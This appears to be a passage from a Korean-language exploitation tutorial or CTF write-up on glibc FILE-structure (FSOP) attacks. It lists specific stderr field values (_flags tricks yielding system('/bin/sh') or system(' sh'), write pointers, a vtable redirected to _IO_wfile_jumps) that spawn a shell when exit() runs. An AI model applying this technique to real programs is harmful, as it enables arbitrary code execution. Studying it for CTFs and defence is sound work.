- 조건도 만족하면서 원하는 명령을 실행시키기 위한 트릭:
- kylebot 방식:
_flags에0x3b01010101010101설정_IO_read_ptr에"/bin/sh\\x00"저장- 이 경우 최종적으로 실행되는 명령은
system("\\x01\\x01\\x01\\x01\\x01\\x01\\x01;/bin/sh")→ 쉘 실행 가능
- roderick01 방식:
_flags에" sh"(앞에 공백 2개 포함된 문자열) 설정- 조건 만족 +
system(" sh")호출됨
- kylebot 방식:
4. 기타 stderr 필드 설정
_IO_write_base→0_IO_write_ptr→1- 이로 인해
exit()호출 시_IO_flush_all_lockp()가stderr에 대해_IO_OVERFLOW(stderr, EOF)호출
- 이로 인해
stderr->vtable→_IO_wfile_jumps로 설정- 이로 인해 원래
_IO_new_file_overflow대신_IO_wfile_overflow호출됨
- 이로 인해 원래
이처럼 stderr의 FILE 구조체를 성공적으로 조작하고 나면,
exit() 호출 시 자동으로 셸을 획득할 수 있게 됩니다!